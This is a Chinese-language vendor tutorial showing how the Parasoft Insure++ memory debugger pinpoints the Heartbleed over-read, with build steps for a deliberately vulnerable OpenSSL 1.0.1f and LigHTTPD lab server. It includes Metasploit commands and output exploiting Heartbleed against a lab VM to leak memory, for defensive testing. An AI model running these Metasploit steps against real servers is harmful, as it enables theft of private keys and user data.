原創(chuàng)|使用教程|編輯:鄭恭琳|2020-11-23 11:19:34.150|閱讀 379 次
概述:您可以使用運(yùn)行時(shí)錯(cuò)誤檢測來查找安全漏洞,而不必依賴安全掃描程序在代碼中查找已知漏洞。這項(xiàng)技術(shù)不需要知道已知的漏洞即可檢測出來。
# 界面/圖表報(bào)表/文檔/IDE等千款熱門軟控件火熱銷售中 >>
相關(guān)鏈接:
您可以使用運(yùn)行時(shí)錯(cuò)誤檢測來查找安全漏洞,而不必依賴安全掃描程序在代碼中查找已知漏洞。這項(xiàng)技術(shù)不需要知道已知的漏洞即可檢測出來。
Heartbleed漏洞于2014年在OpenSSL中被發(fā)現(xiàn),由于OpenSSL在開源和商業(yè)應(yīng)用程序中的廣泛采用,它引起了很多關(guān)注和擔(dān)憂。這項(xiàng)發(fā)現(xiàn)之后,特定的漏洞掃描程序進(jìn)行了更新以檢測Heartbleed,但如今,我們正在尋找另一種可用于通過運(yùn)行時(shí)錯(cuò)誤檢測來檢測安全漏洞的技術(shù)。該技術(shù)不依賴于已經(jīng)發(fā)現(xiàn)的漏洞來進(jìn)行檢測。
發(fā)布有關(guān)OpenSSL Heartbleed漏洞的消息時(shí),業(yè)界對如何修補(bǔ)或緩解該問題感到恐慌。 OpenSSL是HTTPS通信中使用的加密庫。HTTPS應(yīng)該是HTTP的安全版本,因此通過Internet進(jìn)行第一線保護(hù)的各種私有信息是OpenSSL。因此,Heartbleed漏洞使信用卡、社會保險(xiǎn)號、密碼和其他個(gè)人信息面臨嚴(yán)重風(fēng)險(xiǎn)。
該漏洞是由OpenSSL很少使用但經(jīng)常啟用的“心跳”功能引起的。通過向運(yùn)行OpenSSL的服務(wù)器發(fā)送格式錯(cuò)誤的心跳請求,就會發(fā)生讀取內(nèi)存過大,從而將關(guān)鍵信息泄漏到響應(yīng)包中。正確配置武器后,這將導(dǎo)致私有OpenSSL幾乎無法檢測到的泄漏,從而損害了服務(wù)器的所有安全通信。
隨著組織意識到這個(gè)問題是真實(shí)的,他們想檢查該問題是否存在于自己的源代碼中。在最簡單的級別上,您可以修補(bǔ)或更新舊版本的OpenSSL。但是您可能還需要進(jìn)行測試以確保根本不存在潛在的問題。讓我們看看如何將運(yùn)行時(shí)錯(cuò)誤檢測與傳統(tǒng)的滲透工具一起使用,以精確檢測漏洞。
Parasoft Insure++是一種內(nèi)存調(diào)試工具,它使用獲得專利的檢測技術(shù)來快速識別泄漏和其他內(nèi)存問題。使用傳統(tǒng)的調(diào)試器,很難檢測讀取中的內(nèi)存(如果不是不可能的話),但是使用Parasoft非常容易
保險(xiǎn)++。
Heartbleed漏洞最初是由Codenomicon和Google Security的安全工程師發(fā)現(xiàn)的。不僅要發(fā)現(xiàn)該漏洞,而且還證明該漏洞很重要并充分緩解了該問題,因此付出了巨大的努力。在這里,我將向您展示一個(gè)良好的漏洞發(fā)現(xiàn)工具(例如與Insure++結(jié)合使用的模糊器)將如何顯著簡化確定漏洞影響并進(jìn)行修復(fù)的過程。
由于Heartbleed的核心是內(nèi)存過度讀取問題,因此我們將使用Parasoft Insure++在一個(gè)真實(shí)世界的漏洞上演示使用正確的工具診斷和修復(fù)關(guān)鍵錯(cuò)誤的難易程度!
受害虛擬機(jī)是我們在其中設(shè)置LigHTTPD的地方,以使用容易受到Heartbleed攻擊的OpenSSL版本。我選擇CentOS 7作為受害虛擬機(jī)的操作系統(tǒng)。確保在安裝過程中選擇開發(fā)工具,以便包含GCC編譯器和其他必需的頭文件。
設(shè)置虛擬機(jī)的網(wǎng)絡(luò)時(shí),請注意從何處發(fā)動攻擊。我選擇從主機(jī)進(jìn)行攻擊,所以我包括了僅主機(jī)的網(wǎng)絡(luò)適配器。在將要執(zhí)行攻擊的計(jì)算機(jī)上安裝Metasploit。
最后,在受害虛擬機(jī)上安裝Parasoft Insure++!
項(xiàng)目布局
該項(xiàng)目的布局如下:
~/heartbleed :: 我們將使用的主目錄。
~/heartbleed/env :: 我們將其定位為安裝前綴的目錄。
~/heartbleed/src :: 我們將在其中下載源代碼并進(jìn)行編譯的目錄。
~/heartbleed/srv :: 存儲我們的LigHTTPD網(wǎng)站的目錄。
證明Heartbleed漏洞的步驟是使用Insure++工具構(gòu)建OpenSSL。為了利用令人討厭的漏洞,我們需要構(gòu)建一個(gè)版本的OpenSSL,該版本已在漏洞修復(fù)之前發(fā)布。包含令人討厭的漏洞的OpenSSL的最新版本是1.0.1版,因此我們將使用它。
將運(yùn)行時(shí)錯(cuò)誤檢測應(yīng)用于安全性
入門:設(shè)置受害者虛擬機(jī)
使用Insure++構(gòu)建OpenSSL并安裝。
$ cd /home/USER/heartbleed/src $ wget //www.openssl.org/source/old/1.0.1/openssl-1.0.1f.tar.gz $ tar xf openssl-1.0.1f.tar.gz $ cd openssl-1.0.1f
接下來需要做的是配置源代碼。為了加快此過程,我們將在OpenSSL源目錄中創(chuàng)建以下腳本。該腳本假定insure和gcc都包含在當(dāng)前shell路徑中。將該腳本命名為configure_openssl.sh之類的名稱
#!/usr/bin/env bash
CC="$(command -v insure) $(command -v gcc)" \
CXX="$(command -v insure) $(command -v g++)" \
./config -d shared --prefix=/home/USER/heartbleed/env
-d標(biāo)志將OpenSSL配置為包含Insure++所需的調(diào)試符號。shared指令將OpenSSL配置為生成共享庫。
--prefix=/home/USER/heartbleed/env
標(biāo)志將OpenSSL配置為安裝到此目錄。
現(xiàn)在,在OpenSSL源目錄中運(yùn)行~/configure_openssl.sh來配置源。
$ pwd
/home/USER/heartbleed/src/openssl-1.0.1f
$ chmod +x configure_openssl.sh
$ ./configure_openssl.sh
下一步是使用make進(jìn)行編譯。Make接受-j標(biāo)志以指定要并行運(yùn)行的編譯作業(yè)的數(shù)量。 Insure++完全支持此并行編譯,這允許我們通過指定受害虛擬機(jī)可用的內(nèi)核數(shù)量來加快編譯速度。
$ make -j4
當(dāng)使用Insure++工具運(yùn)行make時(shí),將顯示一個(gè)Insra窗口,顯示在編譯過程中正在檢測哪些文件。
通常,我們會在構(gòu)建后運(yùn)行make install,但由于CentOS 7附帶的pod2man的舊版本不支持OpenSSL所使用的格式,因此手冊文件創(chuàng)建存在問題。為了避免這種情況,我們僅安裝軟件,而不是手動修補(bǔ)許多POD文件。
$ make install_sw
生成和安裝LigHTTPD
下一步是使用我們的Insure++內(nèi)置OpenSSL構(gòu)建LigHTTPD。由于我們對OpenSSL中的Heartbleed漏洞感興趣,而不是對LigHTTPD的某些行為感興趣,因此我們將在沒有Insure++工具的情況下進(jìn)行構(gòu)建。盡管未使用Insure++來編譯LigHTTPD,但由于要與Insure++檢測的OpenSSL構(gòu)建鏈接,因此仍然需要使用Insure++進(jìn)行鏈接。
我們將提供最新版本的LigHTTPD的源代碼。
$ cd /home/USER/heartbleed/src $ wget //download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-1.4.49.tar.xz $ tar xf lighttpd-1.4.49.tar.xz $ cd lighttpd-1.4.49
現(xiàn)在,我們需要配置LigHTTPD源,以針對Insure++工具和我們的OpenSSL構(gòu)建進(jìn)行正確鏈接。我們將在LigHTTPD源目錄中創(chuàng)建以下腳本以完成此操作。將配置腳本命名為configure_lighttpd.sh之類的名稱。
#!/usr/bin/env bash OPENSSL_PATH=’/home/USER/heartbleed/env’ INSURE_PATH=’/home/USER/insure’ MY_LIBS=’-linsure -linsure_mt -ldl’ MY_LIB_PATHS="-L${OPENSSL_PATH}/lib -L${INSURE_PATH}/lib" MY_LD_LIB_PATHS="${OPENSSL_PATH}/lib:${INSURE_PATH}/lib" MY_FLAGS="$MY_LIB_PATHS $MY_LIBS" CC="$(command -v gcc)" \ CXX="$(command -v g++)" \ CFLAGS="$MY_FLAGS" \ CPPFLAGS="$MY_FLAGS" \ LDFLAGS="$MY_LIB_PATHS" \ LD_LIBRARY_PATH="$MY_LD_LIB_PATHS" \ --prefix=/home/USER/heartbleed/env \ --with-openssl \ --with-openssl-includes=/home/USER/heartbleed/env/include \ --with-openssl-libs=/home/USER/heartbleed/env/lib
在運(yùn)行此配置腳本之前,請確保安裝LigHTTPD所需的bzip2標(biāo)頭。
sudo yum install bzip2-devel
從LigHTTPD目錄運(yùn)行腳本。
$ pwd
/home/USER/heartbleed/src/lighttpd-1.4.49
$ chmod +x configure_lighttpd.sh
$ ./configure_lighttpd.sh
現(xiàn)在已經(jīng)配置了源,我們必須執(zhí)行一個(gè)不尋常的附加步驟。由于LigHTTPD使用libtool進(jìn)行庫鏈接,因此我們必須將其配置為在最后的鏈接步驟中使用Insure++。
編輯文件/home/USER/heartbleed/srv/lighttpd-1.4.49/src/Makefile,替換以下行…
CCLD = $(CC)
請確保以下各項(xiàng)與您的設(shè)置相匹配...
CCLD = '/home/USER/insure/bin/insure /usr/bin/gcc'
現(xiàn)在已經(jīng)配置了源代碼,我們可以繼續(xù)構(gòu)建源代碼,并安裝。
$ make -j4
$ make install
設(shè)置LigHTTPD
現(xiàn)在,我們已經(jīng)使用Insure++檢測的OpenSSL構(gòu)建了LigHTTPD,我們需要?jiǎng)?chuàng)建一個(gè)裸機(jī)安裝程序以運(yùn)行LigHTTPD。首先,我們在/home/USER/heartbleed/srv/index.html~ 創(chuàng)建一個(gè)簡單的“Hello world!”的HTML頁面如下...
<html>
<head>
<title>Heartbleed Demo</title>
</head>
<body>
<h1>Hello world!</h1>
</body>
</html>
設(shè)置中的下一個(gè)設(shè)置是為LigHTTPD生成SSL PEM文件以用于HTTPS。
$ cd /home/USER/heartbleed/ $ openssl req -x509 -nodes -days 7300 -newkey rsa:2048 -sha256 -keyout server.pem -out server.pem
請務(wù)必如上所示填寫電子郵件地址、地理位置和單位字段,因?yàn)樯院笪覀儠谛孤┑膬?nèi)存中查找它們!
最后,我們在/home/USER/heartbleed/lighttpd.conf中創(chuàng)建一個(gè)簡單的配置文件,如下所示。確保更正用戶、組和路徑以匹配您的設(shè)置。請注意,我們將非標(biāo)準(zhǔn)端口8080用于HTTP,將4443用于HTTPS,以避免必須以root用戶身份運(yùn)行LigHTTPD。
server.modules = ( "mod_openssl", "mod_access", "mod_accesslog", ) server.port = 8080 server.username = "USER" server.groupname = "GROUP" server.document-root = "/home/USER/heartbleed/srv" server.errorlog = "/home/USER/heartbleed/lighttpd_error.log" accesslog.filename = "/home/USER/heartbleed/lighttpd_access.log" dir-listing.activate = "enable" index-file.names = ( "index.html" ) mimetype.assign = ( ".html" => "text/html", ".txt" => "text/plain", ".css" => "text/css", ".js" => "application/x-javascript", ".jpg" => "image/jpeg", ".jpeg" => "image/jpeg", ".gif" => "image/gif", ".png" => "image/png", "" => "application/octet-stream", ) $SERVER["socket"] == ":4443" { ssl.engine = "enable" ssl.pemfile = "/home/USER/heartbleed/server.pem" }
server.modules = ( "mod_openssl", "mod_access", "mod_accesslog", ) server.port = 8080 server.username = "USER" server.groupname = "GROUP" server.document-root = "/home/USER/heartbleed/srv" server.errorlog = "/home/USER/heartbleed/lighttpd_error.log" accesslog.filename = "/home/USER/heartbleed/lighttpd_access.log" dir-listing.activate = "enable" index-file.names = ( "index.html" ) mimetype.assign = ( ".html" => "text/html" ".txt" => "text/plain" ".css" => "text/css" ".js" => "application/x-javascript" ".jpg" => "image/jpeg" ".jpeg" => "image/jpeg" ".gif" => "image/gif" ".png" => "image/png" "" => "application/octet-stream" ) $SERVER["socket"] == ":4443" { ssl.engine = "enable" ssl.pemfile = "/home/USER/heartbleed/server.pem" }
server.modules = ( “mod_openssl”, “mod_access”, “mod_accesslog”, ) server.port = 8080 server.username = “USER” server.groupname = “GROUP” server.document-root = “/home/USER/heartbleed/srv” server.errorlog = “/home/USER/heartbleed/lighttpd_error.log” accesslog.filename = “/home/USER/heartbleed/lighttpd_access.log” dir-listing.activate = “enable” index-file.names = ( “index.html” ) mimetype.assign = ( “.html” => “text/html” “.txt” => “text/plain” “.css” => “text/css” “.js” => “application/x-javascript” “.jpg” => “image/jpeg” “.jpeg” => “image/jpeg” “.gif” => “image/gif” “.png” => “image/png” “” => “application/octet-stream” ) $SERVER[“socket”] == “:4443” { ssl.engine = “enable” ssl.pemfile = “/home/USER/heartbleed/server.pem” }
在/home/USER/heartbleed/run_lighttpd.sh中創(chuàng)建以下腳本。由于我們?yōu)閹焓褂昧朔菢?biāo)準(zhǔn)路徑,因此我們需要指定LD_LIBRARY_PATH。確保更正路徑以匹配您的用戶主文件夾。
#!/usr/bin/env bash LD_LIBRARY_PATH=’/home/USER/heartbleed/env/lib:/home/USER/insure/lib’ \ /home/USER/heartbleed/env/sbin/lighttpd \ -D \ -f /home/USER/hearbleed/lighttpd.conf
#!/usr/bin/env bash LD_LIBRARY_PATH=’/home/USER/heartbleed/env/lib:/home/USER/insure/lib’ \ /home/USER/heartbleed/env/sbin/lighttpd \ -D \ -f /home/USER/hearbleed/lighttpd.conf
#!/usr/bin/env bash LD_LIBRARY_PATH=’/home/USER/heartbleed/env/lib:/home/USER/insure/lib’ \ /home/USER/heartbleed/env/sbin/lighttpd \ -D \ -f /home/USER/heartbleed/lighttpd.conf
運(yùn)行腳本以啟動LigHTTPD!
$ pwd
/home/USER/heartbleed
$ chmod +x run_lighttpd.sh
$ ./run_lighttpd.sh
運(yùn)行Metasploit
現(xiàn)在,我們已經(jīng)安裝了LigHTTPD并與我們的Insure++檢測到的OpenSSL一起運(yùn)行,現(xiàn)在該發(fā)起攻擊了!我們將使用Metasploit發(fā)起攻擊。Metasploit是用于許多信息安全任務(wù)的工具,包括利用和繞過軟件安全性。它包括用于Heartbleed的掃描程序,該掃描程序部分利用此漏洞進(jìn)行演示易感性。
您需要做的第一件事是在攻擊者系統(tǒng)上安裝Metasploit。我選擇從虛擬機(jī)主機(jī)發(fā)起攻擊,因此在那里安裝了Metasploit。我將不介紹Metasploit安裝,因?yàn)樗辉诒狙菔镜姆秶畠?nèi)。安裝Metasploit后啟動Metasploit控制臺。
$ msfconsole
這將顯示有關(guān)Metasploit框架的提示。在此提示下,我們搜索Metasploit,以了解它提供了哪些Heartbleed工具。
msf > search heartbleed Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/scanner/ssl/openssl_heartbleed 2014-04-07 normal OpenSSL Heartbeat (Heartbleed) Information Leak auxiliary/server/openssl_heartbeat_client_memory 2014-04-07 normal OpenSSL Heartbeat (Heartbleed) Client Memory Exposure
我們將使用前面提到的Metasploit的Heartbleed掃描儀。
msf > use auxiliary/scanner/ssl/openssl_heartbleed
在這里,我們要設(shè)置openssl_heartbleed掃描程序的選項(xiàng)。首先,我們將打開詳細(xì)輸出以查看開發(fā)過程中的詳細(xì)輸出。然后,我們將遠(yuǎn)程主機(jī)IP和端口設(shè)置為攻擊目標(biāo)。確保更改主機(jī)IP和端口以匹配您的設(shè)置。
msf auxiliary(scanner/ssl/openssl_heartbleed) > set verbose true verbose => true msf auxiliary(scanner/ssl/openssl_heartbleed) > set rhosts 192.168.56.102 rhosts => 192.168.56.102 msf auxiliary(scanner/ssl/openssl_heartbleed) > set RPORT 4443 RPORT => 4443
如果運(yùn)行不帶任何參數(shù)的set,我們可以看到為當(dāng)前工具設(shè)置了哪些參數(shù)。在Metasploit中啟動掃描或利用之前,請務(wù)必檢查這些選項(xiàng),因?yàn)獒槍﹀e(cuò)誤的系統(tǒng)可能會破壞或損壞意外目標(biāo)。
msf auxiliary(scanner/ssl/openssl_heartbleed) > set Global ====== No entries in data store. Module: scanner/ssl/openssl_heartbleed ====================================== Name Value ---- ----- CHOST CPORT ConnectTimeout 10 DUMPFILTER HEARTBEAT_LENGTH 65535 MAX_KEYTRIES 50 Proxies RESPONSE_TIMEOUT 10 RHOSTS 192.168.56.102 RPORT 4443 SSL false SSLCipher SSLVerifyMode PEER SSLVersion Auto STATUS_EVERY 5 ShowProgress true ShowProgressPercent 10 TCP::max_send_size 0 TCP::send_delay 0 THREADS 1 TLS_CALLBACK None TLS_VERSION 1.0 VERBOSE true WORKSPACE XMPPDOMAIN localhost
現(xiàn)在,我們已經(jīng)配置了所有選項(xiàng),并確認(rèn)我們沒有在攻擊我們不想要的東西,我們可以發(fā)起攻擊!
msf auxiliary(scanner/ssl/openssl_heartbleed) > exploit [*] 192.168.56.102:4443 - Sending Client Hello... [*] 192.168.56.102:4443 - SSL record #1: [*] 192.168.56.102:4443 - Type: 22 [*] 192.168.56.102:4443 - Version: 0x0301 [*] 192.168.56.102:4443 - Length: 86 [*] 192.168.56.102:4443 - Handshake #1: [*] 192.168.56.102:4443 - Length: 82 [*] 192.168.56.102:4443 - Type: Server Hello (2) [*] 192.168.56.102:4443 - Server Hello Version: 0x0301 [*] 192.168.56.102:4443 - Server Hello random data: f6150b7136c5047cc899660bdd8c7c93cc52b4425cf50756367e6f3fed78ece4 [*] 192.168.56.102:4443 - Server Hello Session ID length: 32 [*] 192.168.56.102:4443 - Server Hello Session ID: 6fc69c504e53adc8611f353f010f427a01ce9530edf77f84fa71e5238660f7db [*] 192.168.56.102:4443 - SSL record #2: [*] 192.168.56.102:4443 - Type: 22 [*] 192.168.56.102:4443 - Version: 0x0301 [*] 192.168.56.102:4443 - Length: 1033 [*] 192.168.56.102:4443 - Handshake #1: [*] 192.168.56.102:4443 - Length: 1029 [*] 192.168.56.102:4443 - Type: Certificate Data (11) [*] 192.168.56.102:4443 - Certificates length: 1026 [*] 192.168.56.102:4443 - Data length: 1029 [*] 192.168.56.102:4443 - Certificate #1: [*] 192.168.56.102:4443 - Certificate #1: Length: 1023 [*] 192.168.56.102:4443 - Certificate #1: #<OpenSSL::X509::Certificate: subject=#<OpenSSL::X509::Name:0x000055b722236070>, issuer=#<OpenSSL::X509::Name:0x000055b7222360c0>, serial=#<OpenSSL::BN:0x000055b722236110>, not_before=2018-09-24 23:24:45 UTC, not_after=2038-09-19 23:24:45 UTC> [*] 192.168.56.102:4443 - SSL record #3: [*] 192.168.56.102:4443 - Type: 22 [*] 192.168.56.102:4443 - Version: 0x0301 [*] 192.168.56.102:4443 - Length: 331 [*] 192.168.56.102:4443 - Handshake #1: [*] 192.168.56.102:4443 - Length: 327 [*] 192.168.56.102:4443 - Type: Server Key Exchange (12) [*] 192.168.56.102:4443 - SSL record #4: [*] 192.168.56.102:4443 - Type: 22 [*] 192.168.56.102:4443 - Version: 0x0301 [*] 192.168.56.102:4443 - Length: 4 [*] 192.168.56.102:4443 - Handshake #1: [*] 192.168.56.102:4443 - Length: 0 [*] 192.168.56.102:4443 - Type: Server Hello Done (14) [*] 192.168.56.102:4443 - Sending Heartbeat... [*] 192.168.56.102:4443 - Heartbeat response, 65535 bytes [+] 192.168.56.102:4443 - Heartbeat response with leak [*] 192.168.56.102:4443 - Printable info leaked: [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
“可打印的信息泄漏:”之后的行已被刪除,因?yàn)樵撔蟹浅iL。一些相關(guān)的字節(jié)如下所示:
: .x.. o..PNS..a.5?..Bz...0.....q.#.`................................0...0... : ............1(..0...*.H........0..1.0...U....US1.0...U....California1.0...U : ....Monrovia1.0...U....Parasoft1.0...U....C++Test1.0...U....rojogorra1#0!.. : *.H........noreply.com0...180924232445Z..380919232445Z0..1.0...U....US1.0.. : .U....California1.0...U....Monrovia1.0...U....Parasoft1.0...U....C++Test1.0 : ...U....rojogorra1#0!..*.H........noreply.com0.."0...*.H.............0..... : ....${(.........o..qC.9M...>..:.q.lN.#...F.._M^....1<..Rb...G.h/l.../S..2.3
如您所見,該漏洞利用程序成功地從包含我們PEM密鑰的OpenSSL泄漏了內(nèi)存!如果您搜索泄漏的內(nèi)存,您將找到在創(chuàng)建LigHTTPD使用的PEM文件時(shí)填寫的電子郵件地址、實(shí)際位置和組織信息。
從受害虛擬機(jī)啟動LigHTTPD時(shí),可以在Insra中看到Insure++輸出。在初始執(zhí)行期間,發(fā)生USER_ERROR,我們將忽略它,因?yàn)樗cHeartbleed無關(guān)。
在Metasploit中運(yùn)行Heartbleed漏洞之后,我們可以看到發(fā)生緩沖區(qū)溢出導(dǎo)致內(nèi)存泄漏的確切代碼行!
雙擊READ_OVERFLOW行將打開另一個(gè)窗口,其中包含其他詳細(xì)信息,包括有關(guān)內(nèi)存塊分配位置的跟蹤以及有關(guān)讀取溢出發(fā)生位置的堆棧跟蹤。
運(yùn)行Insure++的可執(zhí)行文件在運(yùn)行時(shí)會生成tca.log文件。TCA代表“全面覆蓋率分析”。我們可以使用Insure++隨附的TCA工具打開此日志文件,以查看有關(guān)代碼覆蓋率的詳細(xì)信息。
$ TCA tca.log
在下一個(gè)屏幕截圖中,您可以看到TCA顯示運(yùn)行Metasploit Heartbleed漏洞后獲得的tca.log的結(jié)果。我按文件對報(bào)告進(jìn)行了排序,并突出顯示了存在漏洞的t1_lib.c。如您所見,我們僅覆蓋了文件中13%的代碼。
雙擊t1_lib.c行將導(dǎo)致另一個(gè)窗口打開。在此窗口中,我們可以看到t1_lib.c中的覆蓋范圍按功能排序。我重點(diǎn)介紹了發(fā)生Heartbleed漏洞的功能。如您所見,我們僅覆蓋了函數(shù)中約45%的代碼。
此外,雙擊函數(shù)名稱將顯示源代碼,其中源代碼用黑色覆蓋,而代碼未用紅色覆蓋。
如您所見,Parasoft Insure++對Heartbleed進(jìn)行了微不足道的檢測。Insure++不僅檢測了讀取的內(nèi)存,還生成了:
發(fā)生內(nèi)存過度讀取的堆棧跟蹤。
內(nèi)存本身分配位置的堆棧跟蹤。
涵蓋了詳細(xì)的代碼路徑日志。
這些功能使Insure++非常適合任何信息安全研究人員的工具。因此,盡管您可能熟悉使用各種SAST工具和滲透工具來查找安全漏洞,但應(yīng)考慮將運(yùn)行時(shí)錯(cuò)誤檢測添加到安全測試工具包中。
本站文章除注明轉(zhuǎn)載外,均為本站原創(chuàng)或翻譯。歡迎任何形式的轉(zhuǎn)載,但請務(wù)必注明出處、不得修改原文相關(guān)鏈接,如果存在內(nèi)容上的異議請郵件反饋至chenjj@fc6vip.cn